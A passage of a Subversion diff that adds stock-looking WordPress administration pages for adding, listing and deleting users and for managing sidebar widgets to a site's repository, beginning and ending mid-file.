+	<input type="submit" class="button-primary" value="<?php IS_PROFILE_PAGE ? esc_attr_e('Update Profile') : esc_attr_e('Update User') ?>" name="submit" />
+</p>
+</form>
+</div>
+<?php
+break;
+}
+
+include('admin-footer.php');
+?>
Index: /trunk/www.guidonia.net/wp/wp-admin/user-new.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/user-new.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/user-new.php	(revision 44)
@@ -0,0 +1,154 @@
+<?php
+/**
+ * New User Administration Panel.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** WordPress Administration Bootstrap */
+require_once('admin.php');
+
+if ( !current_user_can('create_users') )
+	wp_die(__('Cheatin&#8217; uh?'));
+
+/** WordPress Registration API */
+require_once( ABSPATH . WPINC . '/registration.php');
+
+if ( isset($_REQUEST['action']) && 'adduser' == $_REQUEST['action'] ) {
+	check_admin_referer('add-user');
+
+	if ( ! current_user_can('create_users') )
+		wp_die(__('You can&#8217;t create users.'));
+
+	$user_id = add_user();
+
+	if ( is_wp_error( $user_id ) ) {
+		$add_user_errors = $user_id;
+	} else {
+		$new_user_login = apply_filters('pre_user_login', sanitize_user(stripslashes($_REQUEST['user_login']), true));
+		$redirect = 'users.php?usersearch='. urlencode($new_user_login) . '&update=add';
+		wp_redirect( $redirect . '#user-' . $user_id );
+		die();
+	}
+}
+
+$title = __('Add New User');
+$parent_file = 'users.php';
+
+wp_enqueue_script('wp-ajax-response');
+wp_enqueue_script('user-profile');
+wp_enqueue_script('password-strength-meter');
+
+require_once ('admin-header.php');
+
+?>
+<div class="wrap">
+<?php screen_icon(); ?>
+<h2 id="add-new-user"><?php _e('Add New User') ?></h2>
+
+<?php if ( isset($errors) && is_wp_error( $errors ) ) : ?>
+	<div class="error">
+		<ul>
+		<?php
+			foreach ( $errors->get_error_messages() as $err )
+				echo "<li>$err</li>\n";
+		?>
+		</ul>
+	</div>
+<?php endif;
+
+if ( ! empty($messages) ) {
+	foreach ( $messages as $msg )
+		echo $msg;
+} ?>
+
+<?php if ( isset($add_user_errors) && is_wp_error( $add_user_errors ) ) : ?>
+	<div class="error">
+		<?php
+			foreach ( $add_user_errors->get_error_messages() as $message )
+				echo "<p>$message</p>";
+		?>
+	</div>
+<?php endif; ?>
+<div id="ajax-response"></div>
+
+<?php
+	if ( get_option('users_can_register') )
+		echo '<p>' . sprintf(__('Users can <a href="%1$s">register themselves</a> or you can manually create users here.'), site_url('wp-register.php')) . '</p>';
+	else
+		echo '<p>' . sprintf(__('Users cannot currently <a href="%1$s">register themselves</a>, but you can manually create users here.'), admin_url('options-general.php#users_can_register')) . '</p>';
+?>
+<form action="#add-new-user" method="post" name="adduser" id="adduser" class="add:users: validate">
+<?php wp_nonce_field('add-user') ?>
+<?php
+//Load up the passed data, else set to a default.
+foreach ( array('user_login' => 'login', 'first_name' => 'firstname', 'last_name' => 'lastname',
+				'email' => 'email', 'url' => 'uri', 'role' => 'role') as $post_field => $var ) {
+	$var = "new_user_$var";
+	if ( ! isset($$var) )
+		$$var = isset($_POST[$post_field]) ? stripslashes($_POST[$post_field]) : '';
+}
+$new_user_send_password = !$_POST || isset($_POST['send_password']);
+?>
+<table class="form-table">
+	<tr class="form-field form-required">
+		<th scope="row"><label for="user_login"><?php _e('Username'); ?> <span class="description"><?php _e('(required)'); ?></span></label>
+		<input name="action" type="hidden" id="action" value="adduser" /></th>
+		<td><input name="user_login" type="text" id="user_login" value="<?php echo esc_attr($new_user_login); ?>" aria-required="true" /></td>
+	</tr>
+	<tr class="form-field">
+		<th scope="row"><label for="first_name"><?php _e('First Name') ?> </label></th>
+		<td><input name="first_name" type="text" id="first_name" value="<?php echo esc_attr($new_user_firstname); ?>" /></td>
+	</tr>
+	<tr class="form-field">
+		<th scope="row"><label for="last_name"><?php _e('Last Name') ?> </label></th>
+		<td><input name="last_name" type="text" id="last_name" value="<?php echo esc_attr($new_user_lastname); ?>" /></td>
+	</tr>
+	<tr class="form-field form-required">
+		<th scope="row"><label for="email"><?php _e('E-mail'); ?> <span class="description"><?php _e('(required)'); ?></span></label></th>
+		<td><input name="email" type="text" id="email" value="<?php echo esc_attr($new_user_email); ?>" /></td>
+	</tr>
+	<tr class="form-field">
+		<th scope="row"><label for="url"><?php _e('Website') ?></label></th>
+		<td><input name="url" type="text" id="url" class="code" value="<?php echo esc_attr($new_user_uri); ?>" /></td>
+	</tr>
+
+<?php if ( apply_filters('show_password_fields', true) ) : ?>
+	<tr class="form-field form-required">
+		<th scope="row"><label for="pass1"><?php _e('Password'); ?> <span class="description"><?php _e('(twice, required)'); ?></span></label></th>
+		<td><input name="pass1" type="password" id="pass1" autocomplete="off" />
+		<br />
+		<input name="pass2" type="password" id="pass2" autocomplete="off" />
+		<br />
+		<div id="pass-strength-result"><?php _e('Strength indicator'); ?></div>
+		<p class="description indicator-hint"><?php _e('Hint: The password should be at least seven characters long. To make it stronger, use upper and lower case letters, numbers and symbols like ! " ? $ % ^ &amp; ).'); ?></p>
+		</td>
+	</tr>
+	<tr>
+		<th scope="row"><label for="send_password"><?php _e('Send Password?') ?></label></th>
+		<td><label for="send_password"><input type="checkbox" name="send_password" id="send_password" <?php checked($new_user_send_password, true); ?> /> <?php _e('Send this password to the new user by email.'); ?></label></td>
+	</tr>
+<?php endif; ?>
+
+	<tr class="form-field">
+		<th scope="row"><label for="role"><?php _e('Role'); ?></label></th>
+		<td><select name="role" id="role">
+			<?php
+			if ( !$new_user_role )
+				$new_user_role = !empty($current_role) ? $current_role : get_option('default_role');
+			wp_dropdown_roles($new_user_role);
+			?>
+			</select>
+		</td>
+	</tr>
+</table>
+<p class="submit">
+	<input name="adduser" type="submit" id="addusersub" class="button-primary" value="<?php esc_attr_e('Add User') ?>" />
+</p>
+</form>
+
+</div>
+<?php
+include('admin-footer.php');
+?>
Index: /trunk/www.guidonia.net/wp/wp-admin/users.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/users.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/users.php	(revision 44)
@@ -0,0 +1,403 @@
+<?php
+/**
+ * Users administration panel.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** WordPress Administration Bootstrap */
+require_once('admin.php');
+
+/** WordPress Registration API */
+require_once( ABSPATH . WPINC . '/registration.php');
+
+if ( !current_user_can('edit_users') )
+	wp_die(__('Cheatin&#8217; uh?'));
+
+$title = __('Users');
+$parent_file = 'users.php';
+
+$update = $doaction = '';
+if ( isset($_REQUEST['action']) )
+	$doaction = $_REQUEST['action'] ? $_REQUEST['action'] : $_REQUEST['action2'];
+
+if ( empty($doaction) ) {
+	if ( isset($_GET['changeit']) && !empty($_GET['new_role']) )
+		$doaction = 'promote';
+}
+
+if ( empty($_REQUEST) ) {
+	$referer = '<input type="hidden" name="wp_http_referer" value="'. esc_attr(stripslashes($_SERVER['REQUEST_URI'])) . '" />';
+} elseif ( isset($_REQUEST['wp_http_referer']) ) {
+	$redirect = remove_query_arg(array('wp_http_referer', 'updated', 'delete_count'), stripslashes($_REQUEST['wp_http_referer']));
+	$referer = '<input type="hidden" name="wp_http_referer" value="' . esc_attr($redirect) . '" />';
+} else {
+	$redirect = 'users.php';
+	$referer = '';
+}
+
+switch ($doaction) {
+
+/* Bulk Dropdown menu Role changes */
+case 'promote':
+	check_admin_referer('bulk-users');
+
+	if (empty($_REQUEST['users'])) {
+		wp_redirect($redirect);
+		exit();
+	}
+
+	$editable_roles = get_editable_roles();
+	if (!$editable_roles[$_REQUEST['new_role']])
+		wp_die(__('You can&#8217;t give users that role.'));
+
+	$userids = $_REQUEST['users'];
+	$update = 'promote';
+	foreach($userids as $id) {
+		if ( ! current_user_can('edit_user', $id) )
+			wp_die(__('You can&#8217;t edit that user.'));
+		// The new role of the current user must also have edit_users caps
+		if($id == $current_user->ID && !$wp_roles->role_objects[$_REQUEST['new_role']]->has_cap('edit_users')) {
+			$update = 'err_admin_role';
+			continue;
+		}
+
+		$user = new WP_User($id);
+		$user->set_role($_REQUEST['new_role']);
+	}
+
+	wp_redirect(add_query_arg('update', $update, $redirect));
+	exit();
+
+break;
+
+case 'dodelete':
+
+	check_admin_referer('delete-users');
+
+	if ( empty($_REQUEST['users']) ) {
+		wp_redirect($redirect);
+		exit();
+	}
+
+	if ( !current_user_can('delete_users') )
+		wp_die(__('You can&#8217;t delete users.'));
+
+	$userids = $_REQUEST['users'];
+	$update = 'del';
+	$delete_count = 0;
+
+	foreach ( (array) $userids as $id) {
+		if ( ! current_user_can('delete_user', $id) )
+			wp_die(__('You can&#8217;t delete that user.'));
+
+		if($id == $current_user->ID) {
+			$update = 'err_admin_del';
+			continue;
+		}
+		switch($_REQUEST['delete_option']) {
+		case 'delete':
+			wp_delete_user($id);
+			break;
+		case 'reassign':
+			wp_delete_user($id, $_REQUEST['reassign_user']);
+			break;
+		}
+		++$delete_count;
+	}
+
+	$redirect = add_query_arg( array('delete_count' => $delete_count, 'update' => $update), $redirect);
+	wp_redirect($redirect);
+	exit();
+
+break;
+
+case 'delete':
+
+	check_admin_referer('bulk-users');
+
+	if ( empty($_REQUEST['users']) && empty($_REQUEST['user']) ) {
+		wp_redirect($redirect);
+		exit();
+	}
+
+	if ( !current_user_can('delete_users') )
+		$errors = new WP_Error('edit_users', __('You can&#8217;t delete users.'));
+
+	if ( empty($_REQUEST['users']) )
+		$userids = array(intval($_REQUEST['user']));
+	else
+		$userids = $_REQUEST['users'];
+
+	include ('admin-header.php');
+?>
+<form action="" method="post" name="updateusers" id="updateusers">
+<?php wp_nonce_field('delete-users') ?>
+<?php echo $referer; ?>
+
+<div class="wrap">
+<?php screen_icon(); ?>
+<h2><?php _e('Delete Users'); ?></h2>
+<p><?php _e('You have specified these users for deletion:'); ?></p>
+<ul>
+<?php
+	$go_delete = false;
+	foreach ( (array) $userids as $id ) {
+		$id = (int) $id;
+		$user = new WP_User($id);
+		if ( $id == $current_user->ID ) {
+			echo "<li>" . sprintf(__('ID #%1s: %2s <strong>The current user will not be deleted.</strong>'), $id, $user->user_login) . "</li>\n";
+		} else {
+			echo "<li><input type=\"hidden\" name=\"users[]\" value=\"" . esc_attr($id) . "\" />" . sprintf(__('ID #%1s: %2s'), $id, $user->user_login) . "</li>\n";
+			$go_delete = true;
+		}
+	}
+	$all_logins = $wpdb->get_results("SELECT ID, user_login FROM $wpdb->users ORDER BY user_login");
+	$user_dropdown = '<select name="reassign_user">';
+	foreach ( (array) $all_logins as $login )
+		if ( $login->ID == $current_user->ID || !in_array($login->ID, $userids) )
+			$user_dropdown .= "<option value=\"" . esc_attr($login->ID) . "\">{$login->user_login}</option>";
+	$user_dropdown .= '</select>';
+	?>
+	</ul>
+<?php if ( $go_delete ) : ?>
+	<fieldset><p><legend><?php _e('What should be done with posts and links owned by this user?'); ?></legend></p>
+	<ul style="list-style:none;">
+		<li><label><input type="radio" id="delete_option0" name="delete_option" value="delete" checked="checked" />
+		<?php _e('Delete all posts and links.'); ?></label></li>
+		<li><input type="radio" id="delete_option1" name="delete_option" value="reassign" />
+		<?php echo '<label for="delete_option1">'.__('Attribute all posts and links to:')."</label> $user_dropdown"; ?></li>
+	</ul></fieldset>
+	<input type="hidden" name="action" value="dodelete" />
+	<p class="submit"><input type="submit" name="submit" value="<?php esc_attr_e('Confirm Deletion'); ?>" class="button-secondary" /></p>
+<?php else : ?>
+	<p><?php _e('There are no valid users selected for deletion.'); ?></p>
+<?php endif; ?>
+</div>
+</form>
+<?php
+
+break;
+
+default:
+
+	if ( !empty($_GET['_wp_http_referer']) ) {
+		wp_redirect(remove_query_arg(array('_wp_http_referer', '_wpnonce'), stripslashes($_SERVER['REQUEST_URI'])));
+		exit;
+	}
+
+	include('admin-header.php');
+
+	$usersearch = isset($_GET['usersearch']) ? $_GET['usersearch'] : null;
+	$userspage = isset($_GET['userspage']) ? $_GET['userspage'] : null;
+	$role = isset($_GET['role']) ? $_GET['role'] : null;
+
+	// Query the users
+	$wp_user_search = new WP_User_Search($usersearch, $userspage, $role);
+
+	$messages = array();
+	if ( isset($_GET['update']) ) :
+		switch($_GET['update']) {
+		case 'del':
+		case 'del_many':
+			$delete_count = isset($_GET['delete_count']) ? (int) $_GET['delete_count'] : 0;
+			$messages[] = '<div id="message" class="updated fade"><p>' . sprintf(_n('%s user deleted', '%s users deleted', $delete_count), $delete_count) . '</p></div>';
+			break;
+		case 'add':
+			$messages[] = '<div id="message" class="updated fade"><p>' . __('New user created.') . '</p></div>';
+			break;
+		case 'promote':
+			$messages[] = '<div id="message" class="updated fade"><p>' . __('Changed roles.') . '</p></div>';
+			break;
+		case 'err_admin_role':
+			$messages[] = '<div id="message" class="error"><p>' . __('The current user&#8217;s role must have user editing capabilities.') . '</p></div>';
+			$messages[] = '<div id="message" class="updated fade"><p>' . __('Other user roles have been changed.') . '</p></div>';
+			break;
+		case 'err_admin_del':
+			$messages[] = '<div id="message" class="error"><p>' . __('You can&#8217;t delete the current user.') . '</p></div>';
+			$messages[] = '<div id="message" class="updated fade"><p>' . __('Other users have been deleted.') . '</p></div>';
+			break;
+		}
+	endif; ?>
+
+<?php if ( isset($errors) && is_wp_error( $errors ) ) : ?>
+	<div class="error">
+		<ul>
+		<?php
+			foreach ( $errors->get_error_messages() as $err )
+				echo "<li>$err</li>\n";
+		?>
+		</ul>
+	</div>
+<?php endif;
+
+if ( ! empty($messages) ) {
+	foreach ( $messages as $msg )
+		echo $msg;
+} ?>
+
+<div class="wrap">
+<?php screen_icon(); ?>
+<h2><?php echo esc_html( $title );
+if ( isset($_GET['usersearch']) && $_GET['usersearch'] )
+	printf( '<span class="subtitle">' . __('Search results for &#8220;%s&#8221;') . '</span>', esc_html( $_GET['usersearch'] ) ); ?>
+</h2>
+
+<div class="filter">
+<form id="list-filter" action="" method="get">
+<ul class="subsubsub">
+<?php
+$role_links = array();
+$avail_roles = array();
+$users_of_blog = get_users_of_blog();
+$total_users = count( $users_of_blog );
+foreach ( (array) $users_of_blog as $b_user ) {
+	$b_roles = unserialize($b_user->meta_value);
+	foreach ( (array) $b_roles as $b_role => $val ) {
+		if ( !isset($avail_roles[$b_role]) )
+			$avail_roles[$b_role] = 0;
+		$avail_roles[$b_role]++;
+	}
+}
+unset($users_of_blog);
+
+$current_role = false;
+$class = empty($role) ? ' class="current"' : '';
+$role_links[] = "<li><a href='users.php'$class>" . sprintf( _nx( 'All <span class="count">(%s)</span>', 'All <span class="count">(%s)</span>', $total_users, 'users' ), number_format_i18n( $total_users ) ) . '</a>';
+foreach ( $wp_roles->get_names() as $this_role => $name ) {
+	if ( !isset($avail_roles[$this_role]) )
+		continue;
+
+	$class = '';
+
+	if ( $this_role == $role ) {
+		$current_role = $role;
+		$class = ' class="current"';
+	}
+
+	$name = translate_user_role( $name );
+	/* translators: User role name with count */
+	$name = sprintf( __('%1$s <span class="count">(%2$s)</span>'), $name, $avail_roles[$this_role] );
+	$role_links[] = "<li><a href='users.php?role=$this_role'$class>$name</a>";
+}
+echo implode( " |</li>\n", $role_links) . '</li>';
+unset($role_links);
+?>
+</ul>
+</form>
+</div>
+
+<form class="search-form" action="" method="get">
+<p class="search-box">
+	<label class="screen-reader-text" for="user-search-input"><?php _e( 'Search Users' ); ?>:</label>
+	<input type="text" id="user-search-input" name="usersearch" value="<?php echo esc_attr($wp_user_search->search_term); ?>" />
+	<input type="submit" value="<?php esc_attr_e( 'Search Users' ); ?>" class="button" />
+</p>
+</form>
+
+<form id="posts-filter" action="" method="get">
+<div class="tablenav">
+
+<?php if ( $wp_user_search->results_are_paged() ) : ?>
+	<div class="tablenav-pages"><?php $wp_user_search->page_links(); ?></div>
+<?php endif; ?>
+
+<div class="alignleft actions">
+<select name="action">
+<option value="" selected="selected"><?php _e('Bulk Actions'); ?></option>
+<option value="delete"><?php _e('Delete'); ?></option>
+</select>
+<input type="submit" value="<?php esc_attr_e('Apply'); ?>" name="doaction" id="doaction" class="button-secondary action" />
+<label class="screen-reader-text" for="new_role"><?php _e('Change role to&hellip;') ?></label><select name="new_role" id="new_role"><option value=''><?php _e('Change role to&hellip;') ?></option><?php wp_dropdown_roles(); ?></select>
+<input type="submit" value="<?php esc_attr_e('Change'); ?>" name="changeit" class="button-secondary" />
+<?php wp_nonce_field('bulk-users'); ?>
+</div>
+
+<br class="clear" />
+</div>
+
+	<?php if ( is_wp_error( $wp_user_search->search_errors ) ) : ?>
+		<div class="error">
+			<ul>
+			<?php
+				foreach ( $wp_user_search->search_errors->get_error_messages() as $message )
+					echo "<li>$message</li>";
+			?>
+			</ul>
+		</div>
+	<?php endif; ?>
+
+
+<?php if ( $wp_user_search->get_results() ) : ?>
+
+	<?php if ( $wp_user_search->is_search() ) : ?>
+		<p><a href="users.php"><?php _e('&larr; Back to All Users'); ?></a></p>
+	<?php endif; ?>
+
+<table class="widefat fixed" cellspacing="0">
+<thead>
+<tr class="thead">
+<?php print_column_headers('users') ?>
+</tr>
+</thead>
+
+<tfoot>
+<tr class="thead">
+<?php print_column_headers('users', false) ?>
+</tr>
+</tfoot>
+
+<tbody id="users" class="list:user user-list">
+<?php
+$style = '';
+foreach ( $wp_user_search->get_results() as $userid ) {
+	$user_object = new WP_User($userid);
+	$roles = $user_object->roles;
+	$role = array_shift($roles);
+
+	$style = ( ' class="alternate"' == $style ) ? '' : ' class="alternate"';
+	echo "\n\t" . user_row($user_object, $style, $role);
+}
+?>
+</tbody>
+</table>
+
+<div class="tablenav">
+
+<?php if ( $wp_user_search->results_are_paged() ) : ?>
+	<div class="tablenav-pages"><?php $wp_user_search->page_links(); ?></div>
+<?php endif; ?>
+
+<div class="alignleft actions">
+<select name="action2">
+<option value="" selected="selected"><?php _e('Bulk Actions'); ?></option>
+<option value="delete"><?php _e('Delete'); ?></option>
+</select>
+<input type="submit" value="<?php esc_attr_e('Apply'); ?>" name="doaction2" id="doaction2" class="button-secondary action" />
+</div>
+
+<br class="clear" />
+</div>
+
+<?php endif; ?>
+
+</form>
+</div>
+
+<?php
+	foreach ( array('user_login' => 'user_login', 'first_name' => 'user_firstname', 'last_name' => 'user_lastname', 'email' => 'user_email', 'url' => 'user_uri', 'role' => 'user_role') as $formpost => $var ) {
+		$var = 'new_' . $var;
+		$$var = isset($_REQUEST[$formpost]) ? esc_attr(stripslashes($_REQUEST[$formpost])) : '';
+	}
+	unset($name);
+?>
+
+<br class="clear" />
+<?php
+break;
+
+} // end of the $doaction switch
+
+include('admin-footer.php');
+?>
Index: /trunk/www.guidonia.net/wp/wp-admin/widgets.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/widgets.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/widgets.php	(revision 44)
@@ -0,0 +1,392 @@
+<?php
+/**
+ * Widgets administration panel.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** WordPress Administration Bootstrap */
+require_once( 'admin.php' );
+
+/** WordPress Administration Widgets API */
+require_once(ABSPATH . 'wp-admin/includes/widgets.php');
+
+if ( ! current_user_can('switch_themes') )
+	wp_die( __( 'Cheatin&#8217; uh?' ));
+
+wp_enqueue_script('admin-widgets');
+wp_admin_css( 'widgets' );
+
+do_action( 'sidebar_admin_setup' );
+
+$title = __( 'Widgets' );
+$parent_file = 'themes.php';
+
+// register the inactive_widgets area as sidebar
+register_sidebar(array(
+	'name' => __('Inactive Widgets'),
+	'id' => 'wp_inactive_widgets',
+	'before_widget' => '',
+	'after_widget' => '',
+	'before_title' => '',
+	'after_title' => '',
+));
+
+// These are the widgets grouped by sidebar
+$sidebars_widgets = wp_get_sidebars_widgets();
+if ( empty( $sidebars_widgets ) )
+	$sidebars_widgets = wp_get_widget_defaults();
+
+// look for "lost" widgets, this has to run at least on each theme change
+function retrieve_widgets() {
+	global $wp_registered_widget_updates, $wp_registered_sidebars, $sidebars_widgets, $wp_registered_widgets;
+
+	$_sidebars_widgets = array();
+	$sidebars = array_keys($wp_registered_sidebars);
+
+	unset( $sidebars_widgets['array_version'] );
+
+	$old = array_keys($sidebars_widgets);
+	sort($old);
+	sort($sidebars);
+
+	if ( $old == $sidebars )
+		return;
+
+	// Move the known-good ones first
+	foreach ( $sidebars as $id ) {
+		if ( array_key_exists( $id, $sidebars_widgets ) ) {
+			$_sidebars_widgets[$id] = $sidebars_widgets[$id];
+			unset($sidebars_widgets[$id], $sidebars[$id]);
+		}
+	}
+
+	// if new theme has less sidebars than the old theme
+	if ( !empty($sidebars_widgets) ) {
+		foreach ( $sidebars_widgets as $lost => $val ) {
+			if ( is_array($val) )
+				$_sidebars_widgets['wp_inactive_widgets'] = array_merge( (array) $_sidebars_widgets['wp_inactive_widgets'], $val );
+		}
+	}
+
+	// discard invalid, theme-specific widgets from sidebars
+	$shown_widgets = array();
+	foreach ( $_sidebars_widgets as $sidebar => $widgets ) {
+		if ( !is_array($widgets) )
+			continue;
+
+		$_widgets = array();
+		foreach ( $widgets as $widget ) {
+			if ( isset($wp_registered_widgets[$widget]) )
+				$_widgets[] = $widget;
+		}
+		$_sidebars_widgets[$sidebar] = $_widgets;
+		$shown_widgets = array_merge($shown_widgets, $_widgets);
+	}
+
+	$sidebars_widgets = $_sidebars_widgets;
+	unset($_sidebars_widgets, $_widgets);
+
+	// find hidden/lost multi-widget instances
+	$lost_widgets = array();
+	foreach ( $wp_registered_widgets as $key => $val ) {
+		if ( in_array($key, $shown_widgets, true) )
+			continue;
+
+		$number = preg_replace('/.+?-([0-9]+)$/', '$1', $key);
+
+		if ( 2 > (int) $number )
+			continue;
+
+		$lost_widgets[] = $key;
+	}
+
+	$sidebars_widgets['wp_inactive_widgets'] = array_merge($lost_widgets, (array) $sidebars_widgets['wp_inactive_widgets']);
+	wp_set_sidebars_widgets($sidebars_widgets);
+}
+retrieve_widgets();
+
+if ( count($wp_registered_sidebars) == 1 ) {
+	// If only "wp_inactive_widgets" is defined the theme has no sidebars, die.
+	require_once( 'admin-header.php' );
+?>
+
+	<div class="wrap">
+	<?php screen_icon(); ?>
+	<h2><?php echo esc_html( $title ); ?></h2>
+		<div class="error">
+			<p><?php _e( 'No Sidebars Defined' ); ?></p>
+		</div>
+		<p><?php _e( 'The theme you are currently using isn&#8217;t widget-aware, meaning that it has no sidebars that you are able to change. For information on making your theme widget-aware, please <a href="http://codex.wordpress.org/Widgetizing_Themes">follow these instructions</a>.' ); ?></p>
+	</div>
+
+<?php
+	require_once( 'admin-footer.php' );
+	exit;
+}
+
+// We're saving a widget without js
+if ( isset($_POST['savewidget']) || isset($_POST['removewidget']) ) {
+	$widget_id = $_POST['widget-id'];
+	check_admin_referer("save-delete-widget-$widget_id");
+
+	$number = isset($_POST['multi_number']) ? (int) $_POST['multi_number'] : '';
+	if ( $number ) {
+		foreach ( $_POST as $key => $val ) {
+			if ( is_array($val) && preg_match('/__i__|%i%/', key($val)) ) {
+				$_POST[$key] = array( $number => array_shift($val) );
+				break;
+			}
+		}
+	}
+
+	$sidebar_id = $_POST['sidebar'];
+	$position = isset($_POST[$sidebar_id . '_position']) ? (int) $_POST[$sidebar_id . '_position'] - 1 : 0;
+
+	$id_base = $_POST['id_base'];
+	$sidebar = isset($sidebars_widgets[$sidebar_id]) ? $sidebars_widgets[$sidebar_id] : array();
+
+	// delete
+	if ( isset($_POST['removewidget']) && $_POST['removewidget'] ) {
+
+		if ( !in_array($widget_id, $sidebar, true) ) {
+			wp_redirect('widgets.php?error=0');
+			exit;
+		}
+
+		$sidebar = array_diff( $sidebar, array($widget_id) );
+		$_POST = array('sidebar' => $sidebar_id, 'widget-' . $id_base => array(), 'the-widget-id' => $widget_id, 'delete_widget' => '1');
+	}
+
+	$_POST['widget-id'] = $sidebar;
+
+	foreach ( (array) $wp_registered_widget_updates as $name => $control ) {
+		if ( $name != $id_base || !is_callable($control['callback']) )
+			continue;
+
+		ob_start();
+			call_user_func_array( $control['callback'], $control['params'] );
+		ob_end_clean();
+
+		break;
+	}
+
+	$sidebars_widgets[$sidebar_id] = $sidebar;
+
+	// remove old position
+	if ( !isset($_POST['delete_widget']) ) {
+		foreach ( $sidebars_widgets as $key => $sb ) {
+			if ( is_array($sb) )
+				$sidebars_widgets[$key] = array_diff( $sb, array($widget_id) );
+		}
+		array_splice( $sidebars_widgets[$sidebar_id], $position, 0, $widget_id );
+	}
+
+	wp_set_sidebars_widgets($sidebars_widgets);
+	wp_redirect('widgets.php?message=0');
+	exit;
+}
+
+// Output the widget form without js
+if ( isset($_GET['editwidget']) && $_GET['editwidget'] ) {
+	$widget_id = $_GET['editwidget'];
+
+	if ( isset($_GET['addnew']) ) {
+		// Default to the first sidebar
+		$sidebar = array_shift( $keys = array_keys($wp_registered_sidebars) );
+
+		if ( isset($_GET['base']) && isset($_GET['num']) ) { // multi-widget
+			// Copy minimal info from an existing instance of this widget to a new instance
+			foreach ( $wp_registered_widget_controls as $control ) {
+				if ( $_GET['base'] === $control['id_base'] ) {
+					$control_callback = $control['callback'];
+					$multi_number = (int) $_GET['num'];
+					$control['params'][0]['number'] = -1;
+					$widget_id = $control['id'] = $control['id_base'] . '-' . $multi_number;
+					$wp_registered_widget_controls[$control['id']] = $control;
+					break;
+				}
+			}
+		}
+	}
+
+	if ( isset($wp_registered_widget_controls[$widget_id]) && !isset($control) ) {
+		$control = $wp_registered_widget_controls[$widget_id];
+		$control_callback = $control['callback'];
+	} elseif ( !isset($wp_registered_widget_controls[$widget_id]) && isset($wp_registered_widgets[$widget_id]) ) {
+		$name = esc_html( strip_tags($wp_registered_widgets[$widget_id]['name']) );
+	}
+
+	if ( !isset($name) )
+		$name = esc_html( strip_tags($control['name']) );
+
+	if ( !isset($sidebar) )
+		$sidebar = isset($_GET['sidebar']) ? $_GET['sidebar'] : 'wp_inactive_widgets';
+
+	if ( !isset($multi_number) )
+		$multi_number = isset($control['params'][0]['number']) ? $control['params'][0]['number'] : '';
+
+	$id_base = isset($control['id_base']) ? $control['id_base'] : $control['id'];
+
+	// show the widget form
+	$width = ' style="width:' . max($control['width'], 350) . 'px"';
+	$key = isset($_GET['key']) ? (int) $_GET['key'] : 0;
+
+	require_once( 'admin-header.php' ); ?>
+	<div class="wrap">
+	<?php screen_icon(); ?>
+	<h2><?php echo esc_html( $title ); ?></h2>
+	<div class="editwidget"<?php echo $width; ?>>
+	<h3><?php printf( __( 'Widget %s' ), $name ); ?></h3>
+
+	<form action="widgets.php" method="post">
+	<div class="widget-inside">
+<?php
+	if ( is_callable( $control_callback ) )
+		call_user_func_array( $control_callback, $control['params'] );
+	else
+		echo '<p>' . __('There are no options for this widget.') . "</p>\n"; ?>
+	</div>
+
+	<p class="describe"><?php _e('Select both the sidebar for this widget and the position of the widget in that sidebar.'); ?></p>
+	<div class="widget-position">
+	<table class="widefat"><thead><tr><th><?php _e('Sidebar'); ?></th><th><?php _e('Position'); ?></th></tr></thead><tbody>
+<?php	foreach ( $wp_registered_sidebars as $sbname => $sbvalue ) {
+		echo "\t\t<tr><td><label><input type='radio' name='sidebar' value='" . esc_attr($sbname) . "'" . checked( $sbname, $sidebar, false ) . " /> $sbvalue[name]</label></td><td>";
+		if ( 'wp_inactive_widgets' == $sbname ) {
+			echo '&nbsp;';
+		} else {
+			if ( !isset($sidebars_widgets[$sbname]) || !is_array($sidebars_widgets[$sbname]) ) {
+				$j = 1;
+			} else {
+				$j = count($sidebars_widgets[$sbname]);
+				if ( isset($_GET['addnew']) || !in_array($widget_id, $sidebars_widgets[$sbname], true) )
+					$j++;
+			}
+			$selected = '';
+			echo "\t\t<select name='{$sbname}_position'>\n";
+			echo "\t\t<option value=''>" . __('-- select --') . "</option>\n";
+			for ( $i = 1; $i <= $j; $i++ ) {
+				if ( in_array($widget_id, $sidebars_widgets[$sbname], true) )
+					$selected = selected( $i, $key + 1, false );
+				echo "\t\t<option value='$i'$selected> $i </option>\n";
+			}
+			echo "\t\t</select>\n";
+		}
+		echo "</td></tr>\n";
+	} ?>
+	</tbody></table>
+	</div>
+
+	<div class="widget-control-actions">
+<?php	if ( isset($_GET['addnew']) ) { ?>
+	<a href="widgets.php" class="button alignleft"><?php _e('Cancel'); ?></a>
+<?php	} else { ?>
+	<input type="submit" name="removewidget" class="button alignleft" value="<?php esc_attr_e('Remove'); ?>" />
+<?php	} ?>
+	<input type="submit" name="savewidget" class="button-primary alignright" value="<?php esc_attr_e('Save Widget'); ?>" />
+	<input type="hidden" name="widget-id" class="widget-id" value="<?php echo esc_attr($widget_id); ?>" />
+	<input type="hidden" name="id_base" class="id_base" value="<?php echo esc_attr($id_base); ?>" />
+	<input type="hidden" name="multi_number" class="multi_number" value="<?php echo esc_attr($multi_number); ?>" />
+<?php	wp_nonce_field("save-delete-widget-$widget_id"); ?>
+	<br class="clear" />
+	</div>
+	</form>
+	</div>
+	</div>
+<?php
+	require_once( 'admin-footer.php' );
+	exit;
+}
+
+$widgets_access = get_user_setting( 'widgets_access' );
+if ( isset($_GET['widgets-access']) ) {
+	$widgets_access = 'on' == $_GET['widgets-access'] ? 'on' : 'off';
+	set_user_setting( 'widgets_access', $widgets_access );
+}
+
+if ( 'on' == $widgets_access )
+	add_filter( 'admin_body_class', create_function('', '{return " widgets_access ";}') );
+
+$messages = array(
+	__('Changes saved.')
+);
+
+$errors = array(
+	__('Error while saving.'),
+	__('Error in displaying the widget settings form.')
+);
+
+require_once( 'admin-header.php' ); ?>
+
+<div class="wrap">
+<?php screen_icon(); ?>
+<h2><?php echo esc_html( $title ); ?></h2>
+
+<?php if ( isset($_GET['message']) && isset($messages[$_GET['message']]) ) { ?>
+<div id="message" class="updated fade"><p><?php echo $messages[$_GET['message']]; ?></p></div>
+<?php } ?>
+<?php if ( isset($_GET['error']) && isset($errors[$_GET['error']]) ) { ?>
